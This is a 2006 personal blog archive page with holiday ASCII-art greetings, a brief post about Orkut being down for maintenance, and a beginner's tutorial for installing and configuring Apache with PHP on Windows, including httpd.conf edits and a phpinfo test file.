Saturday, December 30, 2006

Happy New Year

Thank you 2006

Welcome 2007



?+++++++H?++++++++++++?+H+++++++H++++++I.H+++++?++++++++++++++++++++++++++++++++++++
+++?+++++&??++H++++?+?.%?++++?++++++++H+%?++++++++++?+++++++++++++++++++++++++++++++
?+?++++H+&?++++++++++?%%+++?++++++++++++?%+++?++++++++++++++++++++++++++++++++++++++
+++HHHHH+$H+HHHHHHHHHHHHHHHHHHHHHHHHHMMHHMHHH?+++?++++++++++++++++++++++++++++++++++
+H+HHMHHH.%HHMHMHHHHHHHHMHMHHHHHHHHMMMHH.HHHH+?%%??%%%%%?%?%?%?%?%??????????????????
+++M###M################################.####?%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+++MM########################################%%%&.&I%?%%%%%%%%%%%%%%%%%%%%%%%%%?%%?%
+++H#M#$.########MM##########################%%%I%%%%%%%?%%?%%?%?%%%%%?%%%%%??%%%%%%
+++MM##.M#######.....###################.####??%%%%%%%%%??%%%%%%%%%%?%%%%??%&%%%%%%%
?++##..#M#M.........#########HHM#############%%%%%%%%?%?&&?%??%?%%%%%?%%%%%I..I%%%%%
?++#M.M##MM..$.......########$I##########..##I?%%%%%%%%%..%%%%%%%%%&&%%%??%%%%%%%%%%
+++MM$H########.....###M#####I..#############.I%%%%%?%?%%%?%%?%%%?%&I%%%%%%%%?%%%%%%
++?M#$%########......########MM#####M########H%%%?%%?%%%?%%%%%%%%%%???%%%%%%%%%%%%%%
?++MM.&########.....M###I.###M#####H.M#######?%I%%%%%%%%%%%?%%%%%%%%%%%%%%%%%%?%%%%%
?++MM?.########.....M#MMI.####M####M$$.#####MH&%%%%%?%?%%%%%%?%%??%%%%%%%%%??%%%%%%%
+++H###########.....#M###$##########.$$######%.%%%&&%%%%%?%%?%........%%%%%....I%??%
+++M###########.....M###I############M.######I%%%%I...?%%%%H%I........&%%H.....%%%%%
+++H###########.....#.M#......M#############MHH?%I%%%%??%%%??%I......%?%%%%M...%%%?%
+++M###########.....MM.$.......#############MI.%?%%%%%%%??%%%%H......%??%%?M..%H???%
+++H###########........$$......###MHHHH%M##&...%%....%%%%%%??%?%%....I%%%%%..%?%%%%%
+++M###########........$........##M.$.$$$##.$.........I&..%%%........%?%?%%..%%%%%%%
+++H#######M###......$.MM#......H&.$M.$...I..I.........$..%...........HH%%%..%%?%%%%
+++M#######$$.#.......MM.M.....$...&HHM&..I#....I%I..............$....I%%%%..%%%%%%%
+++H###########......M$###......$..$M##M$.II...&%%%&...$?...%?.........%%%...%%%%%%%
+++M###########......M#$###....$....M##M.&&I...I%%%........%%?&...$....%%%..%H%%%%%%
+++H###########......##..#......MM$#MHII..&#...%%%?I......%%%?%........%H...H%%%%%%%
+++M########M##......###$#......#M#I$$$&..&I...%%%?I......&?%%%........%I...?%%%%%%%
+++H###########......##MMM......M&....#I.$&#...I%%%I......%?%%?............%?%%%%%%%
+++MM##########......##MMM......#..&H#MI$.IM...%%%?&......%%%%%....%.......??%%%%%%%
+++H###########......######........$###...IM...I%%?.......%?%%%....%%.....%%%?%%%%%%
+++M###########......###M#.........M###...&M...&%%?I...&...%%%%....%%.....H%%%%%%?%%
+?+M#M.#######M......##$.##....$...&HH&...II.....%I...?....%%%%...&??.....%%%?%%%%%%
++HM#M..#####MM......######.........HI$...II...&.....I%&...&??&...%%%.....?%%%%%%%%%
?++MMM..M######......#####...........$.I$......I%&&&I??%...&&....&?%?%...%%?%%?%%%%%
+++MM.M.MM#####......#####......M&..&.HMI&&&....%%%?%%%%...%&..&%%%%%%...%&?%?%%%%?%
+?+M###.M######......##M###......M#M#######M....%%&%%?%....%?%?%??%%%H%..%.I%%%%%%%%
?++###.#M######......###M#.......M###M#####M....%%..&%%%....???%%H%%%H..%%&.?%%%%%%%
+++M#..##MMMM........###.M.......#########MM....%%%..%?....%?IM...M%%H$%?%%&%%%%%?%%
+?+M#..##MM..........##...$.....$.########......%%%???%%....?%.$...%%..I%%%&%%%%%%%%
+++H.######.$....$...#M#$$.$...$..########.I.&&I%%%%%%%....&H......H%..%%%&%%?%%%%%%
+++H#######.$.....MM...#M#.M.MMMM..##.######M??%????I&..%..%?......%%$.%?%&%%%%%%%%%
+++M$M#........MMH&......########........$.M.%.......%H...............?%%&%%%%%%%%%%
?++M$#M&&......I.I.......########..........#.......%%%%%.....%.......%%H&&%%%%%%%%?%
+++M...##I.....I$.$&..&%$.###MM##MM......####......?%?%?%...%?%%....%%%%.%%%%%%%%%%%
+++M#.$##I.....&IMHI..&I&$####$II#M......####%.....?%%%%I...%%%H%%%%H?%%&%%%%%%%%%%%
?++H#..MMI$....$#####....$HH.....$.......####%.....%??%?$..%?%%%%??%%%%%I%%?%%?%%%%%
+++MM##MMI$.....M###M....$H....I..$.$....####......HI?%?$..???%%%?%%%%%%&I%%%?%%%?%%
+++M#####I$....######&..&.....I##I..$....###M......%?%?...%%%%%%?%%%%%%%%&&%%%%%%%%%
+?+M####M......M#####&........###I..$....###.......%%%I...%?%%%?%%%%%%%%%%&&II%%%%%%
+++M#####I....&#####M&.......IMM#I........##.......%%+....%%%%%HHHMH%%%%%%%%&.%%%%%%
+++M#####I$...&#####M&.......####I.......$#.$.%....&%%$..%?%%%%%IMHI%%%%%%%%%%&%%%%?
+++MM####I....&##M###.....................H...%%...%H....%%%%%%H%%%%%%%%%%%%%%%%%%%%
H++MM#.##I.....##M###&..&............#.......$%?....%...%?%%%%%%?%%%%%&&%%%%?%&%%%%?
+++MM#$##I....I######.........M####M##.......&H?%.......%%%%%%?II%?%%%&%%%%%I&%%%%%%
+++MMM.##I....I######.........M#####.#........?%%.......?%%%%%?.$%%IH%%%%%%%..%%%%%%
+++M#####I.....#####M....&.....####M.##......?%%+.......%%%%%%%&&%?%%%%%%%%%I%?%%%%%
+?+H#####I....I######.....I....####I.#M......?%%%......%%%%??%%%%%%%%%%%%%%%%%%%%%%%
+++H#####I....MM####M...&.I$...IHM..####.....?%%%%.....%%%%%%%%%%?%%%H%%%%%%%%%%H?%%
+++M#####I....MM#####.....IH.......#M##......?%%%%....%%II%?%%%%%%%?%??%%%%%%%?H%?%%
H%%M###MM&....I#####M...$.I###$.$##M##MH....%?%?%?%..$%%%%%%%%%%%%%M...M..%?%.....%?
H.$HM###M&....M######..&..&###$$M$...........&&&%%....?%%?%%%%%%I?%.......%%%......%
.$?M#MH&&.....&IIHII.......HH$$........$.##$.......%?%%%%%%?%%&&I%%%......M.........
%++#MM$........$$M$........$.H.........%M##M%....&%?%?%%%%I&..%...&%%...............
?+HM#M##.#.########.M.##.#..###.......MMM####%..&%I&.I%%%%...%%%&...?........%......
++H########M######MMM#.##M#MM##M......MMM###M?..$......&%%...%%%%...?........%......
+++MM####MM#M########.##########M.....%######%.....&%&..II...&%%%&..?.......H%....%%
II+M######MMM###################M......######&.....%%I...%I.&%?%I...%.......%H%.%.%H
&.IIMM###M..M#############MMMM###......#####......&%%%...I%%%I&.&...%.......???%??%%
?%&$#####.$$.######.########.####M$.....####......I?%%&...%I...&&...?......%??%?H?%%
++?M$.M###.#######.#M#####.$.#####.....$M##H.$....HI%II......&%%%...?......H%%%%%%%%
H++H#$###M#M######.#M#####M.#######....$M##.$...............&%%%%...%......%%%%%?%%%
++?HM#$############.#####M#MM######......#M..&$....&..&&....%%%%&...?......?%%%%%%%%
+?+MMMI##########M#.######MMM######.....%M...I....I%%?H?I&...%%%....%......%%%%%%%%%
+++MM#$########################M##M#$....%$..?&....%+I%%&...&%%.....%......?%I%%%%%%
+?+MM..#########################.##M.....%...?I....&%?%?........I..........?%I&%%%%%
+++H#$#########################$$####$.....$.??....&%%%I.%I...&%?&&........%%%I%%?%%
++?M.################################%.....$.?%I....&%I.&%%%%%?%%%%%?......??I%%%%%%
++?.#M#####M########M#####..M##M#####M......M%%%I......I%%%%%?I?%%%%%......%%II%%%%%
H+..#M######$######MM####M.$M########H$.....M%%%HIHI&I%%%%?%%I%?%%%%%......%&&%?%%%%
+?IMM######$$#####M##M.####..#########.....##?%%%%%%%%%%?%%%%%%%%%?%........&?%%%%%%
+%HH######M$.$#######M.####..########MH....##?%%%H%%%%%%%%%%%%%%%%?H........&%%%%%%%
+I+M#######.$########.$.###..M##########$.%##%%%%%H%%%%I&I%%%%%%%%%%.....$.$&I%%%%%%
+IIM#######M#########M.$###..##########M$.%##%%%%HIH%%%&&%?%%%%%%%?%%%.%.%H%H%?%%%%%
+%$M###########M#########M.$M##MM######%.$.##I?%%HHH%%?%%%??%%&%%%%?%%???&%?%H%%%%?%
+?.M############M########...M##M..####M.$.M##H%%%HIH%%%%?%%%%%&%%%%%%%%%?&I%%?%%%%%%
++%H#####.#############.#..MM##....#M#M...###%%%%HIH%?%%%%%%%?%???%%%%%%%I&I?%?%%%%%
+?+H###..######M########...M##$.....##...M###%%%%H%H%%%?%?%%?%%%%?%%%%%%%%&&?%?%%%%%
+++M###################M..###.......M%.$.M###%%%%%%%%%%%%H&%%?%?%%%%%%%%%%%%%%%%?%?%
+++H####M#############MM.MM##%......M%.$.##M#%%%%HI%%%%?%&$&%%%%%%%%%%%%%%%%%%%%%%%%
+++M###################M$####......%%...#####%??%%?%?%%?%$&I?%?%%%?%%%%%%%%%%%%%%?%%
H++M#############.#####M.####M$.......&######%%%%%H%%%%%HIH%?%%%%%%%%?%%%%%%%%%%%%%%
+++H###########M.$MM####..M#.##$$...$.#M#####%%??%H%?%?%%%?%%%?%%?%?%?%??%??%%%?%%?%
++HMM######M####..M######$.####M....%########?%?%HI?%?%?%H%%%%%%%%%%%%?%%%?%%%%%%%%%
+++HMM#M#MMHMM#MMMMMMMMMM.$...MHMMM##MHMM#M#H%%%%HHHH%%%%%%?%%%%%%%%%%%%%%%%%%%%%%%%
+++HMMMMMMMMHM#MMMMHMMMMMH?....MHMM#MHHMMMMMH+?+?HHHH+?+??+??+?+?+?+?+?+?+?+?+?+??+?

Friday, December 29, 2006

Setting up Apache-PHP on windows.

Step 1 : Downloading required files.

apache server binaries : httpd.apache.org
php binaries : www.php.net

Step 2 : Install apache server.
Installing apache server is pretty much simple, and same as any other installation.
Just enter a network domain name and server name and some email id (someone@microsoft.com).
Then choose a installation directory : for reference i am using "C:\".
Note that a directory called apache2 will be created under C:\ .
So "C:\apache2\" is our directory.
Verify your installation by taking your browser and visiting http://127.0.0.1 or http://localhost.
You will see a page that confirms your apache installation.

Step 3 : Configuring apache
Now goto "C:\Apache2\conf\".
Open the file "httpd.conf" in any text editor.
Lines beginning with # are comments .. just read them to know how to tweak apache.
Change the DocumentRoot property to the folder which is the root of the site.

#
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "C:/public_html/"

and after that a few lines under ..

#
# This should be changed to whatever you set DocumentRoot to.
#
<Directory "C:/public_html/">

#
# Possible values for the Options directive are "None", "All",
# or any combination of:
# Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
#
# Note that "MultiViews" must be named *explicitly* --- "Options All"
# doesn't give it to you.
#
# The Options directive is both complicated and important. Please see
# http://httpd.apache.org/docs-2.0/mod/core.html#options
# for more information.
#
Options Indexes FollowSymLinks

#
# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
# Options FileInfo AuthConfig Limit
#
AllowOverride None

#
# Controls who can get stuff from this server.
#
Order allow,deny
Allow from all

</Directory>

So C:\public_html\ is the server root. ie http://localhost/ = C:\public_html.
After this is done test the configuration by executing (command line):

C:\Apache2\bin>apache -t

If the syntax is right you will get a "Syntax OK" message.

Step 4 : Installing php
To install php, just extract or copy the "PHP" folder to C:\Apache2\ so that C:\Apache2\PHP is created.

Step 5 : configuring PHP
Copy the "php.ini-recommended" file from C:\apache2\php\ to C:\apache2\
Rename it to "php.ini".

Add 2 lines to the end of the file httpd.conf:


LoadModule php5_module C:/apache2/php/php5apache2.dll
AddType application/x-httpd-php .php


Test the php installation by making a php file.

test.php

<?php
phpinfo();
?>


Access the test.php (http://localhost/test.php) from your browser. If you see the source code, installation has failed.
If you see the php info file . PHP installation was successful.
Test the apache server configuration (mentioned above) to find out the error.

Stuck ? leave a comment...

Orkut - under maintanence



Orkut is closed for maintanence..
Hope it comes out well with new features ...

Is it just a routine maintanence?
Will we have cooler features?
What do you think ?

Monday, December 25, 2006

Happy Christmas


'.'''''.''''''.''.'.'.'...'...'..'.'.'.'.'.'...'..'...'.'.'.'.'..'.'..'.'.'.'.''.'.'.'''.''.''..'...'.'.''''.'''''.'.'.''''.'::'......'.'.............'...'..'....'....'............'.'............'.:I
"""""":"""":""":"""""":""""""""""""""""""""""""""""""""I"I""""""""""I""""""":""""II"""""""""""":""""""""I#:"""""""":"""":"""IHI"":""":":":"":::":::::::'"::":'::::'::::':':::::':::::':::::::':':''...:
":"""""""":""""":""""""""""""""""""""""""""""""""""""""""""""I""""""""":"""::""""HH"""""""":""""""III""II#I""I""""I"""IH""I"IMH""""I""I"I"I"""""""I"""""""""""""""":"""""""""":""""""""""""I"""""""...'
:""""""":""'""":""""""":""""""""""""""""""""""""""""""""I"""":"""""""""":"":"""HHHH""""""HI""IIIIHIIHIIIH##IIHIII""II"HH"""HHHI""""""""HI"""""""""I""":":"""""""""":"":I"""""""":""""""""""""""""":'...
""""""""""""""""'""'""""""""""""""""""""""""I"""I"I""""""""""I""""""""""HI"""""HHHH"""IIHHIHHIHHIHHHHHHH###HH#HIHIIIHHMHIIIHHHI""""IIHHHI"""""""""""II"""""""""""""":"""""""""""""""""""I"""I""I"""'...
:"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""HHHIHH"H"""HHM"""IHHHHIHH##HI###IHHH#######HHHHIHHHMHIHMHHII""IIHHHHII""""""I"I"""I"""""""""""""""""""""""""""""""""""""I"""I":'...
""""""""""""'"""""""""""""""""""""""""""""""I"""""":""""""""""""""HHHHHHHHIH"""HHHHHIIHHHHHHI##########H#######HHHHHH#MHHHHMHHH"IIHIHMHHIIII""I"HI""""""""II"""""":"""""""""I"""""""""I"""I""""""""'...
"""""""""""""""""""""'""""""""""":""""""""""""""""""""""""""""""""IHHHHHHHHHHI"MHHMHIHHHHHHHHI##################HH#H###HIIMHHHHHIHHHMHHHIII""I""IHHI"""""III""""""""""""""I""""""""""""""II""""II""'...
""""""""""":""""""""""""'"""""""""""""""""""""""""""""""""""""""""""II"HHHHHHHHMHHHHIMHHHHHHHH#################HH#######HHMHMHHHIMMHHHHHHIIIHII"IHMHHII"I""""""""""""""I""""I""""":"""""""""I""I"I"'.'.
"""""""""""""""""""""""""""""""""""""""""""""""""""":"""":""""""""""""""HHHMHHHHHHHIHHHMHHHH#H#####I####################HHMHMHHHHHMMMHHHHHHIHHIIIHHHHHH""I"IH"II"III""I"I"I"III"""""I""I":"""I""II:'...
""""""""""""""""""""""'""""""""""'""""""":":"""""""":"""""""""""""""""""""IHHMHHH"I"IHMMHHHHHH##################H#######HHMHMHHHMMHMHHHHHHHIHHIHIHHHHMHHIIIHHHMHHMHHHHHI"I""""""""""""""""""I"I""""'..'
"""":""""""'""''"'""""""'"'"":"""""'":"""'""::"""'""""":"""""""""""""""""""IHHMHHHIHHHHHHHHHHH#############MM########I###MHHHHHHHMMMHHHHHIHHIHHHIHHHHHHHIHHMHHHHMHHHHHHHH""HII"I"II"III""""""II""I".'..
""""""""""HIIIIIIII"I"I"IIIII""""II"""I"I""""III"I""""II"""IIIIIIHIHHI"HIHHHHHH#######HMMHHHHMMMH#########M##M##########HMMHMMHMMHHHHHHHMHHMHHHIHIHHHHHHHHMHMHHHHHHHHHHHHHH"IIIH"IIHIIIH""I"""""I":'..'
""":""""""H''''::"'':'':'':''''.':''''''''.'':'::'''''''.'::::'.'''''':HHMHHH#################MMM##########M#M###########MMMMMHHHHMHHHHHHHHHMHHHHHHMHHHHHHMMHMHHHHHHHHHIII:.''''''''.'.II:"""":""":''..
"""""""""II':"":":":''''':::":::''''':::::II:.''.:I::"I"I'.:.''I::"II:'IIHHH#################MMM#M#######M##############HHMMMMHMMMMHMHHHMMHHMHMHHHHHHMHHHHMHHHHHHHHHHHHHI"H".'HIIHHH''.:""""""""":"'...
""""""""""H''IHIHHH:'HI''"HIHHH:'HHI'"HHHHHI.:HH.'HHIHIH:."H:.:HHIHHI'"":H##########M#########MMMMM######M###M##########MMMMMMMMMMMMMHHHHHHHMMHHHHHHHHMHHHHHHHHHHHIIHHHHIHH"':IHHHI".''I""":"""I:":.'..
"""""""I""I'''IHIH''IHHI''IHIH''IIIH"':HHII.:HIII''IIIH:.IIII".'IHH"'"HH#########H###MMMMMM####HMMMM#####M#M##M##########M#MMMMMMMMMMMMMHHIIHHMHHHMHHHHHHMMMHHHHHHIHHHIHHHII"::IHII':'':I"":""II"""'...
"""I"""""IH.I''IH:'IHIHIH:."I:'HHHHIHI.:II.:HIHHHI.'IH'.IHIHHHI.'I:.'IIHH#########M#M##M#MMMM###MMMMM####M#M#M#########MM##HMMMMMMMMMMMMMIHIHHHMMHHMHHMHHMMMHMHHHHHIHIHIHIII::':I:'IH''I""":"""""""....
"":"""""""I':H'.'.''''''''.'.''::::::''.'..:'':''''.''.':':::::'.'.:I':''""H##########MMMM#MMMMM#MMMMM##MM#M#MM###########MMMMMMHMHMMMMMMMMHHIHHHMMMHHMHHHMMMMMMHHHHIHIIHIII"'.':':HH:'I"""":""""":.'..
"I""""I"""H':HI:..'......................'.....................'...HI':''"I"I#############MMMMMMMMMMMMMMMMM#M#M######MM#MM###H###MHHHMHMMHMMHHMHMHHHMMMHHMMMMHHMMMHHH"HIIHII"''..IHHH''I"""""""""""....
""""I""I""I':HIH'...................'...................'........'IH"":'"IIII"H###############MMMMMMMMMMMMMMMMMM#####M#M##########HHHHMHMMMHMHHHHHMHHMHHHHMMMHMHHMMMHH"IIII":..'':HHH''II"""""I""I:.'..
"""I""""""I'IHH:.'.'..'.............'......'..............':.'..''HHHH""HHII":##################MMMMMMMMMMHMMMHMMM#MM#########H####MMMMMHMMMMMHHMMMMHHMHMMMMMMHHMHHHHIIH"III'''.I':HH''II:"""II""I:....
"""""""""II'"H:''........'................................'I....'IHHH"'"MH"I"I########H###########M#HMMMMMMMMMMMMHMMM###M#M##########HHMMMMMMMMHHMHHIHMMHHMMMMHHHHHHHHHI""I""''.:''HI''II""""HI"II"..'.
""""I"""""H.II.I:.'..'.........................'..........'H:...."HHH""HHHI""H###########MMMMHH#M#MMMMMMHMMMMMMHMMMM#MMM#####M#M#MMMMMHMMMMMMMHHMHMMMMHHHHHMMHHMHHHHHHHHIIIII:'':IIH:.:II""I"HHII":'...
"I""I""I""I'''IH:......'..............'....................:I...'HHHHHIHHHH"I##########MMH#H#MMMMMMMMMHMMMMMHMMMMMMMMM###MMMHH#MMHH####HHMMMMMHHMMMMMMMHMHMMMMHMMMHHHHHHIHHHH":':HIHI::H""IIIHH""":....
""I"I""""II''IHI'.........................................:.I:..'HHHH"HMMMH"#########H#####M####MMMMMMMMMMMMMMMHMHMMM#MMM###I#I#H####I##HMMMMHHHMMHMMMHMHMHMMMMHHHMHHHMHHIHHMH":"HHHHI'I"IHHIHI""I".'..
""""""""""H'IHIH'.'..'....................................HI:H..'HHHH""HMHH:H################M#M#MMMMHMMMMMMMMMMMMMMMMM##################MMMMHHMMHMMMMMMHHMHMMMHHMHMMHHMHHHHMM"'"HHHHH""IHHHHHI""I:....
"""""II"":I''HIH'..'..'..'................................:HI:I:HHHHMHHHMHHI##############M###HMMMMMMMMMMHMMMMMMMMMMMMH#M#H############I#MMMHHHMMMHMMMMMMHHMMH##IMMMHMHHHHHMHHI"IHMHHM:IHHHHHH"I"I:.'..
"""""""I"II'.:HH'.................................."I.....HMHHH:"HHHH"HHMHH##############HH#HMMMMMMMMMMMMHMMMMHMMMMMHMHMMMMMMM#M##########MMMMMMMMMMMMMMHMMMH####HMHMMMHHHHHHMHH"HMHHM''HMHHH"""I":....
""""""""":H.:.:H'.'.'..'.'.........................'H'I...IMHHIHHHMHHHHHMHH############HHMMMMMM#M##MMMHMMMMHHMMMMMMMHMH#M#M###MMMM##########MMMMMMHMMMMMMMM######HMMMMMMHHHHMHHHIHMHHH:HMMHH"III"I"....
""I"""""""H.HI.I'.....'..............................IH:.."MMHHHHHMHHHIHHHM########HIH######M##M#MMMMMMMMHMMMHMMHMHMMMMMMMMMMM##############MMMMMMM#MMMMMMM#######HMMMMMHHHHMMMHHHHHHHHHHMHHHI"IIHI.'..
""""""""":H'HH:...'.'..'.''........................."MHH...IHMHHHHHHIHHHHHHHHH##HI::#########MM####MMMMMHMMMHMMMMMMMMMMMMMMM#MMH#MM##########MMHMMM##MMMMM########MHMMHMHMHHHMHMHHHHHHHHHMHHHHI"IHI....
""""""""""I.HIH:......'.'...........................'"HHII.IHMHHHH"IHHMHHMHHMMHHHHIII############MMMMMMMMMMMMMHMHMMMMMM#M#MMM#####MMM######HMM#HMMMMMMMMMM#########MMMMMMMHHHMMMHHMHHHHHHHMMHHH""H'....
""""":":"II'HHIH'...'...'....................'.''.'.'HHHHHH'"HMHH"'"HMMMHHHHHMMMHI"H#######H######MMM#MMMMMMMMMMMMMMMMMMM#M#MMM####HMMM###MMMMMMMMMM##MMMM########MMMMMMMMHHHHMHMHHHHHHHHMHHHHHH"I:..'.
""""""""""H'III:..'..'..'..................''.'..''.'"HHMHHHH:HH"IHIHMHMHHHHHHMHHHH##############MM#MMMMM#MMMMMMMMMMMMMMM##HMMMMM#####MMMMMMMMMMMHMM#MMMMM####H####MMMMMMMHMMMMMMHHMMHMHHHHHIHH""I:....
""""""""""H'HHI.......'....................II'''.....'HHHHHHHHHHHHHH""HHMHMHHIHMHHI#############MM#MM##M##MMM#MMMMMMMMMMMMM##M#M#######MMMMMMMMMMMMM#M#MMM#M######MMMMMMMMMMHMMHMHMHMMMMHHIIIHHIII:.'..
""""""""""H.HI.:'..'...'..'................."I:IH:....'MHH"HHHMMHHH""'"HMMHHHIIHMMH############MM##M##MM##MM##MMMMM#M##MMMMMM#M########HMMMMMMMMMMMMMMMMMM##MM######MMMMHMMMHMMMHMMMMHMHMHHHIIIH"":....
""""""""""I''.II'....'..'...................:HH::HI""::'':"'"HMMHHHHH"'"HMHHHII"HHI######I####MM#MMM#MMM##MM##MMMMM#MM##MMMMM##M#######MMMMMMMMMMMMMMMM#MM##MM#M###MMMMMMMMMMMMMMHMMMMMMMHHIHIIIII"....
""""""""""I:.:IH'......'....................."HHIIHHHHH'IHH:."HHMHHHH'''IMMHHHIII"H#########IH###M##MMM###MMM#MMMMMM#MM##MMMM###M#######MMMMMMMMMMMMMMM#MM#MMM#M###MMMMMMMMMMMMMMMMHHMMMMH"HIIIIII:....
""""""""III':HHH'.......'....................''IHHHHHHHHHHHI"'."HMHH"'''"HHMHII"I"######:##HMM#######M###MM####MMM#M##M###M#MM#########MMMMMMMMMMMMMMMMMMM#MM#MM##MMM#######MMMMMMMMMHMMMHHHHIIII":.'..
"""I"""I""H':HHH'.....'........................"HHHHHHH"HHHHH'.''MHHH''.'"HHHI"""I###I####H#M#######MM####M##M#MM#MMM######MMM#########IMMMMMMMMM#MMMMMM#MMMMMM##MMM##########MMMMMMMHHHHHHHH""II""....
II"""I""""H'.'HM:..........................'...'''"'HHIHHHHHH"..."HH"I''.'IHH""I"I#II######MMH#####M######M#####M#M#M#M######M#######I##MMMMMMMMHMMMMMMMMMMMMMMMMMM#############MMMMMMMMH"HH"H""I":....
""I"I"I"""I':''H'..........'....................HH'"H""IHHHHHH.'..:MI''.'.:HI'"""I""H####MMMMM############M#####M######M######M########:#MMMMMMMMMMHMMMMHMMMMMMMMM#M#########H##MMMMMHMMMHHHII"I""'....
"I"""""II"H'HI'''............................'"IHHHIHI''"HHHHH....."H'....."I':::""I"####M#M#H###########M#######M##M#########M##########MMMMMMMMMMMMHHMHMMHMMMMMMMMMM#MMMMM##MMMMMMMMHHHHIHHI"I"I:.'..
"I""I"I""IH.HHI'...........................'IIHHHH"IHH:'''HHHHH'....:'......'::::"IIIHI##MMM################M####M##########I###########HMMM#MMMMMMMMMMMMMHMMMMMMMM##MMMM##M####MMMMMHHHMHHIIIII"":.''.
I""""III"II'HIHI...........................'IHHHH"'HHHI...''HH:.............'':::""III####MH#############M#######MM##########H###########MMMMMMMMHMHMMMIMMMMHMMMMMMMMMM#########MMMMMMHHHIHIIII""":....
I""""II"""IIHIIH...........................'""'"H''IHH"'...."H:'..'..........'':::"I"H#:#HHM############H########MM#########I##MMM#M#####MMHMMMMMMMMMMHHMMMMH#MMMMMMMM#############MHMHHH""II"I"II'....
"II"""""IHH"HII'..............''''..............'.'''":......':..............''''::""I#IHHHI############M#########M#########I##MMMMMMM##MH#MMMMMHHHMMMMMMMMHMMMMMMMMM###############MHHHII"I""III":....
"""I"""IHHH:HI'''...........'::::::...........'......''.........................':::"IHIHHHH#####################MMM#########I##MMMMMMMHM#MMMMMMMMHMMHMMMHMMMHMMMMMMMMMM##############MHH"II"I"III:..'.
"""II"""HHH"I''H'...........:'....:'............................................''::::IIIHIII##########MM#######MMMMMH#########MMMMMMMMMMMMM#MMMMMMMMIMMHMMMMMMHHMMM###################HIIIIIII""":....
""""IIIIHHH"':IH'..........::.':::':............'..............................'''':::""I"IHIH###################MMMM#######I#I#MMMM#MMMMMM#MMMMMMMMMHMMHMHMMMMM#MMMMMMM##############M#IIII""I"I":....
"""""IIHHHH""HHH'..........:'.::II'I............................................'''':::::""III####H##HIH########MMMMMM#H#####I##MMM##M#MMHMMMMMMMMMHMHMHMHMMMHMMMMMM#M##############MMM#IIIIII"""I'....
""""""IHHHI""HHM'..........I'.:'::::...........'............................'....'''':::::"IIH###IIHHHHMHH####H###MMMM##H######HMM####MMMM#MMMM#MMMMMMMMMMMMMMMMMMMMMM#MMMM#########MM##"III""""I":....
""""""IHMH"::"HH'..........:'.'I::I'........................'......................''''::::IIIIHIHHHHHHIMHH##HH#M#MMM###IHI#####M####M#H##MMM##MMMMMMMMMMMMMMMMM#MM#MMMMMMMMM####MMMM###"H"I""""II'.'..
I"H"""IHHHHH":"H'..........::..'::'...........'.'.......'':'#::...................'.'''''':"IIIIHHIHIHIHHHH##HMIH###M##HHHHHH#I#M####M#M#MMMM##MHMMMMMMMMMMMMMMMM##MMMMM##MMMM#M########IHII""I""I'....
""IHI""HHHHHH"'"'..........'I....'I'.'.''.'..'I'..''.......::.:...'':::...........'..''.'::"""IIIIIHIIHIHHHHHHHIIHM#M##HHHHHHHMH######M##MMM##M#MMMMMMMMMMMMMMMMMM######MM#MMMMM#####H####""I:":I::.'..
"IIH""HIHHHIHH"'.'.'..''.''.::....:::::#::::::I:::I:.'IHIH:...:'.::':::::...........'..'.'':::"""IIIIHIIIIIHHIIIHHHM##HHHIHHHMHM####MH##MMM###MMMMMMM#MMMM#MMMM#MMM#######M##MM#M###HMHIH#"""":II::...'
""IIHIIHHHHIHHH:''.'''''''''':'....'.'.......'.'.....HMMMMM::.:'::::....I'...........'..'''''''"""IIIIIIIIHIIHHIHIIHMH"IHHHHHHMM########M######MMMM#MMMMMMM##MMM#MMM###########MMM#HHHIHIIII""I"II'....
"IHH"HHHIHHHHHII'''''''"''''''::'...................:MMMHMMH:.'I:I:II::'.I.................''''::"""IIIIIHI"IIIH"IHHHHHH"HHHHHMH#######MM#####M##M##MM#MM#M###MM##MMM############M#MHIHHI""II":I":'....
""HHHHHHHHHIIHH"''''""''"'"'.'.::::':'':'''':''''...HMM''HMM:''#:'.':''#::'........'.........'.'':""IIIIII"I""HH"IIIIHIHHHIHHHHH#######M######M#####MM#MM#M###MMM###MM##############HHIHI":I"I""I":....
"""HHHIHMHHIHH""IH""""'''"""''''.:#''':':'::II::::..MMI:.'MMI:'I:..:'::::I'.......:I::.........''::""""":":""HIIIIIIIHHHHIHIHHHHH#############M#####MM#M#MMM###MM###MMMMM#MM########HHIHI""I:""I"I'..'.
"""HHHHHHHH"HIHHI""""""""'""I::##I#:......':#I:::I''MM"'..MMH:':'..:::#:'I:......'::::'.........''':::::::::"HII"HHIHHHHHH""HHHH######MH#####M#####MMM#M###M###MM########MM#MM#######HIH"""""I:""":....
""IHMHHHHHHHHHH"""I"""""""I########'...'...::I::II'"MM"''.HMM::#....I::'I:'I'.....:#::'..........''':::'':::"IIHIIHIHIHIIIIHHHHM######HH#####M######MMM###MM###MMM########MM##MMM####I"IIII""IIII"'...'
""""HMHHHMHMMH""I""""""""I#HH#####:':II##I:#::'::'.IMMMMMMMMM:::....':::'..'::......':.............'''''.'':"II"HIHIIHIIIHHHHHHH#####HHHH####M#####MMMM########MMMM########MM##MHMMMMHMHHII""""""I''...
"""""HHHHHHHH"I"H"IHMH""IMM########I########.::.''.HMMMMMMMMM:I:.............:::''':I:..............'''...':"""IHH"IH"IHIIIHHHHHMHIHIHHH#####M######MMM#####M###MMM##########M##MMMMMMHHMII""""":":...'
""""""HMMHMH"IIHMI#H#MHIM##################'.:::I:.HMMIHHHIMM:I:....:"........''::::.....................'.'"""IHHIIHI"HIHHMHHHHHHHHHHHH####M#######M#M#########MMM############MMMMMMHMMIII"I"I"I"'...'
"""IHHHMHHHHHMMMHHM###M#M###M#############:..':::'.HMH:::""MMII:...'M......................................':IHH"H"IIIHIHHHHHHHIHHMHHHHH############MMM#########MMMMMM##########MMMMMMHHHII"""I"""'...:
"""IHMMMMMHMMMHHH#####MM###M#####H########:...#:...MMM"''.'MM:I:...IH......................................'""III""III"HHHIHIIHHHH"HHHHI###########MM#M#########MMMM#MM#########MMMMMH"IHIIII:"""I:'..:
